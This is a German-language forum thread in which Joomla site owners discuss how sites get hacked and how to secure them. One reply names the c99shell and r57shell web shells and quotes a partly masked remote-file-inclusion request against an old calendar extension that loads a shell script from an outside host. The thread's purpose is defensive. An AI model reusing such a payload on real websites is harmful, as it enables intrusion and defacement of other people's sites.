Thema: selber testen?

Zitat von Zappa

..
Meine Frage also: Wie kann ich selber zu Testzwecken versuchen, meine eigene Seite zu "hacken"?

Hat da einer Ahnung und kann mir das erkären?
Will kein Script-Kiddie werden, dazu bin ich zu alt.

Thx
Maik

Moin, das wird wohl Dir hier niemand reinschreiben geschweige denn wissen, denn dann würde joomla ja nicht hackbar sein, es sind in der regel verkehrte Einstellung derjenigen die Joomla installieren oder Administrieren und sich vorab nicht richtig sachkundig machen, dazu kommen manche unfähige Hoster die eben genauso laienhaft denken... Sorry, mehr sagen dir andere...

Also als "Hacker" will ich die Scriptkiddies nicht bezeichnen Eher Vandalen, die bald die Justiz zu spüren bekommen .. und deren Provider sollten besser auf abusemails reagieren.

Die machen ja nix anderes als sich klickibunti-Scripte wie sich c99shell oder r57shell usw. auf Webspace zu legen und nach bekannten unsicheren Extensions googelnd diese über zB. ../com_extcalendar/extcalendar.php?mosConfig_absolute_path=http%3A%2F %2Fmembers.lycos.co****%2F
spymetashell%2Fspymeta.dat%3F&act=f&f=index.php3&f t=edit&d=%2 ..etc auf dem fremden Webspace aufzurufen und bisschen rumzuklicken. Ansonsten haben die NULL Ahnung und die finden in Deinen 5000 Dateien nichts per Klick.

@Cybergurk .. vielleicht könnte ja mal jemand der sich mit auskennt einen schön übersichtlichen deutschsprachigen Sticky im Sicherheitsforum anfangen, damit gerade Anfänger sich etwas besser absichern können.

ZB

• Bekannte unsichere Erweiterungen .. und dessen mögliche Updates/Patches

• Die besten CMOD Einstellungen

• .htacces Dateien wo wie warum

• Wie mache ich nen Backup und stelle es wieder her

.. und so weiter. Dann würde auch nicht in jedem Thema von vorne gefragt und ich hätte ne gute Anlaufstelle wenn mich die Paranoia überkommt :-)

Also als "Hacker" will ich die Scriptkiddies nicht bezeichnen Eher Vandalen, die bald die Justiz zu spüren bekommen .. und deren Provider sollten besser auf abusemails reagieren.

das sie nichts finden bezweifle ich aber stark,
nur deren schaden ist bislang nachvollziehbar...
Die könnten einfach mehr schaden anrichten indem Sie willkührlich
einzelne Dateien ändern...
wenn sie dann nicht dabei schreiben würden das die Site gehacked ist würdest du dich
evtl. totsuchen

Wie gesagt das meinste sind wie du schon sagtest Nachahmer aber ein paar sollte
man wirklich nicht als Scriptkiddies abtun...

JA auch wieder war. Wer weiß wie lange das schon so geht und richtige Hacker, die im Gegensatz zu Scriptkiddies keine Spuren hinterlassen wollen, auf diversen Seiten herumbasteln und irgendwelche Sachen installieren für die man am Ende als Domaininhaber noch rechtlich zur Verantwortung gezogen wird.
Da sollten wir den Vandalen eigentlich dankbar sein das sie uns so "schonend" darauf hinweisen .. obwohl eine Mail auch genügen würde

Leute die bischen auf solchen Tools rumklicken sind die Bezeichnung "Hacker" nicht wert.


Ich dachte ja immer die Provider sind auf Zack und unterbinden solche Sachen per Filter, sodas die weder irgendwo hoch geladen noch per Kreuzverknüpfung ausgeführt werden können.

eine nutzliche componente für den allg. sicherheitscheck ist die hier

sonst kannst du die seite hier anschauen (leider nur russisch )

wäre auch ein vorschlag an seitenbetreiber ein bereich "sicherheit" unter downloads einzurichten...

in diesem sinne